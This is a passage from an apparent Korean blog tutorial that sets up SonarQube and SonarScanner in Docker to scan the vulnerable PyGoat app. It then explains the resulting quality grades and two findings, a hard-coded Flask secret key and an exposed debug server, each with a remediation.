&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;b data-index-in-node=&quot;0&quot; data-path-to-node=&quot;8,0,0&quot;&gt;최적화 이유:&lt;/b&gt; SonarQube는 내부적으로 검색 및 인덱싱을 위해 &lt;b data-index-in-node=&quot;38&quot; data-path-to-node=&quot;8,0,0&quot;&gt;Elasticsearch&lt;/b&gt;를 사용한다. Elasticsearch는 &lt;b&gt;많은 수의 메모리 맵(Memory Map Areas)을 사용하는데, Linux 커널의 기본값은 보통 이 요구량보다 낮다&lt;/b&gt;.&lt;/li&gt;
&lt;li&gt;&lt;b data-index-in-node=&quot;0&quot; data-path-to-node=&quot;8,1,0&quot;&gt;결과:&lt;/b&gt; 이 값을 상향하지 않으면 Elasticsearch가 메모리 부족으로 판단하여 시작 중에 컨테이너가 즉시 종료(Exit)&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&lt;span style=&quot;color: #006dd7;&quot;&gt;&lt;b&gt;3. SonarQube 서버 실행&lt;/b&gt;&lt;/span&gt;&lt;span style=&quot;color: #000000;&quot;&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #000000;&quot;&gt;공식 이미지 다운로드 &lt;/span&gt;&lt;/p&gt;
&lt;pre id=&quot;code_1777170210059&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;docker run -d --name sonarqube \
  --network sonarqube-net \
  -p 9000:9000 \
  -v sonarqube_data:/opt/sonarqube/data \
  -v sonarqube_extensions:/opt/sonarqube/extensions \
  -v sonarqube_logs:/opt/sonarqube/logs \
  sonarqube:community&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&lt;span style=&quot;color: #006dd7;&quot;&gt;&lt;b&gt;4. 초기 설정&amp;nbsp;&lt;/b&gt;&lt;/span&gt;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;b data-index-in-node=&quot;0&quot; data-path-to-node=&quot;19,0,0&quot;&gt;브라우저 접속: &lt;span style=&quot;background-color: #f6e199;&quot;&gt;http://localhost:9000&lt;/span&gt;&lt;/b&gt; 접속 (초기 계정: admin / admin)&lt;/li&gt;
&lt;li&gt;&lt;b data-index-in-node=&quot;0&quot; data-path-to-node=&quot;19,1,0&quot;&gt;비밀번호 변경:&lt;/b&gt; 최초 로그인 시 새로운 비밀번호 설정 필수&lt;/li&gt;
&lt;li&gt;&lt;b data-index-in-node=&quot;0&quot; data-path-to-node=&quot;19,2,0&quot;&gt;프로젝트 생성:&lt;/b&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;span style=&quot;background-color: #f6e199;&quot;&gt;Create a local project&lt;/span&gt; --&amp;gt;&amp;nbsp; &lt;span style=&quot;background-color: #f6e199;&quot;&gt;Project Key: pygoat-sast&lt;/span&gt; 입력&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;b data-index-in-node=&quot;0&quot; data-path-to-node=&quot;19,3,0&quot;&gt;토큰 발행:&lt;/b&gt; 분석 시 인증을 위한 &lt;b data-index-in-node=&quot;19&quot; data-path-to-node=&quot;19,3,0&quot;&gt;Analysis Token&lt;/b&gt;을 발행하고 별도로 기록&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&lt;span style=&quot;color: #006dd7;&quot;&gt;&lt;b&gt;5. SonnarScanner 실행 (클라이언트)&amp;nbsp;&lt;/b&gt;&lt;/span&gt;&lt;/p&gt;
&lt;pre id=&quot;code_1777172944509&quot; class=&quot;typescript&quot; data-ke-language=&quot;typescript&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;docker run --rm \
  -e SONAR_HOST_URL=&quot;http://host.docker.internal:9000&quot; \
  -e SONAR_TOKEN=&quot;[발급받은_토큰]&quot; \
  -v &quot;$(pwd):/usr/src&quot; \
  sonarsource/sonar-scanner-cli \
  -Dsonar.projectKey=pygoat-sast&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-path-to-node=&quot;3&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;1. Docker 실행 옵션 분석&lt;/b&gt;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-path-to-node=&quot;4&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;span style=&quot;background-color: #f6e199;&quot;&gt;&lt;b data-index-in-node=&quot;0&quot; data-path-to-node=&quot;4,0,0&quot;&gt;docker run --rm&lt;/b&gt;:&lt;/span&gt; 분석 작업이 끝나면 컨테이너를 즉시 삭제함.&amp;nbsp;&lt;/li&gt;
&lt;li&gt;&lt;span style=&quot;background-color: #f6e199;&quot;&gt;&lt;b data-index-in-node=&quot;0&quot; data-path-to-node=&quot;4,1,0&quot;&gt;-e SONAR_HOST_URL=&quot;...&quot;&lt;/b&gt;: &lt;/span&gt;스캐너가 &lt;b&gt;분석 결과를 보낼 서버 주소를 환경 변수로 설정&lt;/b&gt;함. [host.docker.internal: 컨테이너 내부에서 호스트 컴퓨터(SonarQube 서버가 떠 있는 곳)에 접근하기 위한 특수 주소.]&lt;/li&gt;
&lt;li&gt;&lt;span style=&quot;background-color: #f6e199;&quot;&gt;&lt;b data-index-in-node=&quot;0&quot; data-path-to-node=&quot;4,2,0&quot;&gt;-e SONAR_TOKEN=&quot;...&quot;&lt;/b&gt;: &lt;/span&gt;&amp;nbsp;서버 인증을 위한 비밀키. ID/PW를 노출하지 않고 &lt;b data-index-in-node=&quot;52&quot; data-path-to-node=&quot;4,2,0&quot;&gt;Token 기반 인증&lt;/b&gt;을 수행하여 보안성 확보.&lt;/li&gt;
&lt;li&gt;&lt;span style=&quot;background-color: #f6e199;&quot;&gt;&lt;b data-index-in-node=&quot;0&quot; data-path-to-node=&quot;4,3,0&quot;&gt;-v &quot;$(pwd):/usr/src&quot;&lt;/b&gt;:&lt;/span&gt; 현재 경로(&lt;span style=&quot;background-color: #f6e199;&quot;&gt;$(pwd)&lt;/span&gt;, PyGoat 코드 폴더)를 컨테이너 내부의&lt;span style=&quot;background-color: #f6e199;&quot;&gt; /usr/src &lt;/span&gt;경로와 동기화함. &lt;b&gt;스캐너가 내 코드를 읽을 수 있게 통로를 열어주는 작업.&lt;/b&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-path-to-node=&quot;6&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;2. SonarScanner 전용 옵션 분석&lt;/b&gt;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-path-to-node=&quot;7&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;span style=&quot;background-color: #f6e199;&quot;&gt;&lt;b data-index-in-node=&quot;0&quot; data-path-to-node=&quot;7,0,0&quot;&gt;sonarsource/sonar-scanner-cli&lt;/b&gt;:&lt;/span&gt; 실행할 도커 이미지 이름. SonarSource에서 공식 제공하는 검증된 스캐너 사용.&lt;/li&gt;
&lt;li&gt;&lt;span style=&quot;background-color: #f6e199;&quot;&gt;&lt;b data-index-in-node=&quot;0&quot; data-path-to-node=&quot;7,1,0&quot;&gt;-Dsonar.projectKey=pygoat-sast&lt;/b&gt;&lt;/span&gt;: SonarQube 서버 대시보드에서 이 프로젝트를 식별하기 위한 고유 ID. 서버에 미리 생성한 Project Key와 일치해야 함.&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;4-2 SonarQube 실행 매커니즘&amp;nbsp;&lt;/h4&gt;
&lt;p data-path-to-node=&quot;7&quot; data-ke-size=&quot;size18&quot;&gt;&lt;span style=&quot;color: #006dd7;&quot;&gt;&lt;b&gt;[Step 1] 서버 수신 대기 (Server Side)&lt;/b&gt;&lt;/span&gt;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-path-to-node=&quot;8&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;b data-index-in-node=&quot;0&quot; data-path-to-node=&quot;8,0,0&quot;&gt;이미지 구동:&lt;/b&gt; Docker를 통해 SonarQube 서버를 9000번 포트로 활성화&lt;/li&gt;
&lt;li&gt;&lt;b data-index-in-node=&quot;0&quot; data-path-to-node=&quot;8,1,0&quot;&gt;인증 체계:&lt;/b&gt; 분석 도구가 접근할 수 있도록 전용 &lt;b data-index-in-node=&quot;27&quot; data-path-to-node=&quot;8,1,0&quot;&gt;Project Token&lt;/b&gt;을 발행하여 수신 게이트를 열어둠&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-path-to-node=&quot;9&quot; data-ke-size=&quot;size18&quot;&gt;&lt;span style=&quot;color: #006dd7;&quot;&gt;&lt;b&gt;[Step 2] 소스 코드 연결 및 스캔 (Scanner Side)&lt;/b&gt;&lt;/span&gt;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-path-to-node=&quot;10&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;b data-index-in-node=&quot;0&quot; data-path-to-node=&quot;10,0,0&quot;&gt;Volume Mount (-v):&lt;/b&gt; 호스트(내 컴퓨터)에 있는 &lt;b data-index-in-node=&quot;34&quot; data-path-to-node=&quot;10,0,0&quot;&gt;PyGoat 소스 코드&lt;/b&gt;를 스캐너 컨테이너 내부의 /usr/src로 연결&lt;/li&gt;
&lt;li&gt;&lt;b data-index-in-node=&quot;0&quot; data-path-to-node=&quot;10,1,0&quot;&gt;정적 분석:&lt;/b&gt; 스캐너가 코드를 한 줄씩 읽으며 미리 정의된 보안 규칙(Rule)과 대조하여 취약점 패턴 탐지&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-path-to-node=&quot;11&quot; data-ke-size=&quot;size18&quot;&gt;&lt;span style=&quot;color: #006dd7;&quot;&gt;&lt;b&gt;[Step 3] 데이터 전송 및 처리 (Communication)&lt;/b&gt;&lt;/span&gt;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-path-to-node=&quot;12&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;b data-index-in-node=&quot;0&quot; data-path-to-node=&quot;12,0,0&quot;&gt;네트워크 통신:&lt;/b&gt; host.docker.internal 주소를 통해 컨테이너 밖의 서버로 분석 결과(JSON/Protobuf 형태) 전송&lt;/li&gt;
&lt;li&gt;&lt;b data-index-in-node=&quot;0&quot; data-path-to-node=&quot;12,1,0&quot;&gt;Background Task:&lt;/b&gt; 서버는 리포트를 받자마자 큐(Queue)에 넣고, 엔진을 돌려 최종 보안 등급(A~E)을 산출&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;4-3 결과 분석&lt;/h4&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;SonarQube서버(localhost:9000)의 웹 대시보드에서 확인 가능&lt;/b&gt;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1392&quot; data-origin-height=&quot;497&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/IpuXt/dJMcajhGqRp/ph8Tue5dxLyeM1RvKekYxk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/IpuXt/dJMcajhGqRp/ph8Tue5dxLyeM1RvKekYxk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/IpuXt/dJMcajhGqRp/ph8Tue5dxLyeM1RvKekYxk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FIpuXt%2FdJMcajhGqRp%2Fph8Tue5dxLyeM1RvKekYxk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1392&quot; height=&quot;497&quot; data-origin-width=&quot;1392&quot; data-origin-height=&quot;497&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;b data-index-in-node=&quot;0&quot; data-path-to-node=&quot;1,0,0&quot;&gt;Security (보안): E 등급 (15개 이슈)&lt;/b&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-path-to-node=&quot;1,0,1&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;시스템 침투 및 데이터 유출에 직접적으로 이용될 수 있는 치명적인 취약점이 존재함.&lt;/li&gt;
&lt;li&gt;가장 시급하게 수정해야 할 항목이며, 실무 환경에서는 배포가 절대 불가능한 상태임.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;b data-index-in-node=&quot;0&quot; data-path-to-node=&quot;1,1,0&quot;&gt;Reliability (신뢰성): E 등급 (97개 이슈)&lt;/b&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-path-to-node=&quot;1,1,1&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;프로그램의 런타임 오류나 예상치 못한 중단을 야기할 수 있는 잠재적 버그가 다수 발견됨.&lt;/li&gt;
&lt;li&gt;시스템의 안정적인 운영을 심각하게 저해하는 상태임.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;b data-index-in-node=&quot;0&quot; data-path-to-node=&quot;1,2,0&quot;&gt;Maintainability (유지보수성): A 등급 (399개 이슈)&lt;/b&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-path-to-node=&quot;1,2,1&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;지저분한 코드(코드 스멜)의 절대적인 개수는 많으나, 전체 코드 분량 대비 수정 난이도가 낮아 관리하기 쉬운 상태임.&lt;/li&gt;
&lt;li&gt;구조적인 복잡도는 낮으나 세부적인 코드 정리가 필요함.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;b data-index-in-node=&quot;0&quot; data-path-to-node=&quot;1,3,0&quot;&gt;Security Hotspots (보안 핫스팟): 214개&lt;/b&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-path-to-node=&quot;1,3,1&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;취약점으로 의심되는 민감한 로직들이 대거 포진해 있어 보안 엔지니어의 수동 검토가 절실함.&lt;/li&gt;
&lt;li&gt;암호화 방식이나 설정 파일의 안전성을 일일이 확인해야 함.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;b data-index-in-node=&quot;0&quot; data-path-to-node=&quot;1,4,0&quot;&gt;Coverage (테스트 커버리지): 0.0%&lt;/b&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-path-to-node=&quot;1,4,1&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;작성된 테스트 코드가 전혀 없어 보안 패치나 기능 수정 시 사이드 이펙트(기존 기능 파손)를 검증할 방법이 없음.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;b data-index-in-node=&quot;0&quot; data-path-to-node=&quot;1,5,0&quot;&gt;Duplications (중복도): 7.8%&lt;/b&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-path-to-node=&quot;1,5,1&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;약 16k 라인 중 일부 코드가 복사-붙여넣기 방식으로 중복되어 있어, 보안 수정 시 누락될 위험이 존재함.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #009a87;&quot;&gt;&lt;b&gt;위 지표들을 바탕으로 Quality Gate를 통과한 코드만이 배포 가능&amp;nbsp;&lt;/b&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;657&quot; data-origin-height=&quot;333&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/DIQHr/dJMcafl6tXa/S0bu7ucu22Ls8IwKzTXwaK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/DIQHr/dJMcafl6tXa/S0bu7ucu22Ls8IwKzTXwaK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/DIQHr/dJMcafl6tXa/S0bu7ucu22Ls8IwKzTXwaK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FDIQHr%2FdJMcafl6tXa%2FS0bu7ucu22Ls8IwKzTXwaK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;657&quot; height=&quot;333&quot; data-origin-width=&quot;657&quot; data-origin-height=&quot;333&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;Quality Gate 기준은 프로젝트의 방향성에 맞게 설정하면 된다.&amp;nbsp;&lt;/b&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;이제 PyGoat에는 어떤 취약점이 있는지 확인해보자&amp;nbsp;&lt;/b&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&lt;span style=&quot;color: #006dd7;&quot;&gt;&lt;b&gt;예시) Security - Flask 시크릿 키 노출&lt;/b&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1123&quot; data-origin-height=&quot;643&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bJohf3/dJMcabYi93n/TieLXyUKmRCqigmzwskmeK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bJohf3/dJMcabYi93n/TieLXyUKmRCqigmzwskmeK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bJohf3/dJMcabYi93n/TieLXyUKmRCqigmzwskmeK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbJohf3%2FdJMcabYi93n%2FTieLXyUKmRCqigmzwskmeK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;633&quot; height=&quot;362&quot; data-origin-width=&quot;1123&quot; data-origin-height=&quot;643&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;b data-index-in-node=&quot;0&quot; data-path-to-node=&quot;3,1,0&quot;&gt;진단:&lt;/b&gt; Flask 프레임워크에서 세션을 암호화하고 CSRF 공격을 막는 데 사용하는 &lt;b data-index-in-node=&quot;47&quot; data-path-to-node=&quot;3,1,0&quot;&gt;마스터 키&lt;/b&gt;가 평문으로 소스 코드에 박혀 있음&lt;/li&gt;
&lt;li&gt;&lt;b data-index-in-node=&quot;0&quot; data-path-to-node=&quot;3,2,0&quot;&gt;위협:&lt;/b&gt; 유출된 키로 서버의 세션을 임의로 생성, 위조하여 **다른 사용자의 계정으로 로그인(세션 하이재킹)**하는 등 전체 시스템 권한 장악 가능&lt;/li&gt;
&lt;li&gt;&lt;b data-index-in-node=&quot;0&quot; data-path-to-node=&quot;3,3,0&quot;&gt;해결 방안 (명사형 요약):&lt;/b&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-path-to-node=&quot;3,3,1&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;b data-index-in-node=&quot;0&quot; data-path-to-node=&quot;3,3,1,0,0&quot;&gt;환경 변수 주입:&lt;/b&gt; &lt;span style=&quot;background-color: #f6e199;&quot;&gt;os.environ.get()&lt;/span&gt;을 사용하여 외부(OS)에서 키를 동적으로 로드&lt;/li&gt;
&lt;li&gt;&lt;b data-index-in-node=&quot;0&quot; data-path-to-node=&quot;3,3,1,1,0&quot;&gt;Secret Manager 활용:&lt;/b&gt; &lt;span style=&quot;background-color: #f6e199;&quot;&gt;AWS Secrets Manager&lt;/span&gt; 등 전문 관리 도구에 키 저장 및 연동&lt;/li&gt;
&lt;li&gt;&lt;b data-index-in-node=&quot;0&quot; data-path-to-node=&quot;3,3,1,2,0&quot;&gt;키 갱신:&lt;/b&gt; 이미 노출된 키는 즉시 폐기하고 무작위의 긴 문자열로 교체&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b data-index-in-node=&quot;9&quot; data-path-to-node=&quot;7&quot;&gt;ex) &lt;span style=&quot;background-color: #f6e199;&quot;&gt;.env&lt;/span&gt;로 값을 분리하고, &lt;span style=&quot;background-color: #f6e199;&quot;&gt;.gitignore&lt;/span&gt;로 저장소 유출을 막은 뒤,&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;background-color: #f6e199;&quot;&gt;os.environ&lt;/span&gt;으로 코드를 실행할 때 불러오게 함으로써 보안 취약점제거&amp;nbsp;&lt;/b&gt;&lt;/p&gt;
&lt;pre id=&quot;code_1777268595100&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;FLASK_SECRET_KEY=your_secret_key_here  -&amp;gt;env 파일&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;786&quot; data-origin-height=&quot;217&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/Ov0UZ/dJMcagFkQtt/Gf1mjZN0yiBGSXvmKus59k/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/Ov0UZ/dJMcagFkQtt/Gf1mjZN0yiBGSXvmKus59k/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/Ov0UZ/dJMcagFkQtt/Gf1mjZN0yiBGSXvmKus59k/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FOv0UZ%2FdJMcagFkQtt%2FGf1mjZN0yiBGSXvmKus59k%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;786&quot; height=&quot;217&quot; data-origin-width=&quot;786&quot; data-origin-height=&quot;217&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&lt;span style=&quot;color: #006dd7;&quot;&gt;&lt;b&gt;예시) Security - 네트워크 인터페이스 바인딩 및 디버그 모드 노출&amp;nbsp;&lt;/b&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1120&quot; data-origin-height=&quot;698&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/SCbHT/dJMb99THQr5/oapVuhbBVrs250PRCUjDR0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/SCbHT/dJMb99THQr5/oapVuhbBVrs250PRCUjDR0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/SCbHT/dJMb99THQr5/oapVuhbBVrs250PRCUjDR0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FSCbHT%2FdJMb99THQr5%2FoapVuhbBVrs250PRCUjDR0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;618&quot; height=&quot;385&quot; data-origin-width=&quot;1120&quot; data-origin-height=&quot;698&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;b&gt;진단&lt;/b&gt;: 모든 네트워크 인터페이스(0.0.0.0) 개방 및 개발용 디버그 모드 활성화 상태&lt;/li&gt;
&lt;li&gt;&lt;b&gt;위협&lt;/b&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;b data-index-in-node=&quot;0&quot; data-path-to-node=&quot;7,0,0&quot;&gt;공격 표면 확대:&lt;/b&gt;&lt;span style=&quot;letter-spacing: 0px;&quot;&gt;&lt;span style=&quot;background-color: #f6e199;&quot;&gt; 0.0.0.0 &lt;/span&gt;바인딩 시 &lt;b&gt;신뢰할 수 없는 외부 네트워크에서도 서버에 직접 접근&lt;/b&gt; 가능&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;b data-index-in-node=&quot;0&quot; data-path-to-node=&quot;7,1,0&quot;&gt;정보 유출:&lt;/b&gt;&lt;span style=&quot;letter-spacing: 0px;&quot;&gt;&lt;span style=&quot;background-color: #f6e199;&quot;&gt; debug=True&lt;/span&gt; 환경에서 에러 발생 시 소스 코드, 환경 변수 등 &lt;b&gt;민감한 내부 정보가 브라우저에 그대로 노출&lt;/b&gt;됨&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;b data-index-in-node=&quot;0&quot; data-path-to-node=&quot;7,2,0&quot;&gt;임의 코드 실행(RCE):&lt;/b&gt;&lt;span style=&quot;letter-spacing: 0px;&quot;&gt; 핀(Pin) 번호가 노출될 경우 디버거 콘솔을 통해 서버에서 공격자가 원하는 명령 실행 가능&lt;/span&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li data-path-to-node=&quot;8&quot;&gt;&lt;b&gt;해결 방안&amp;nbsp;&lt;/b&gt;
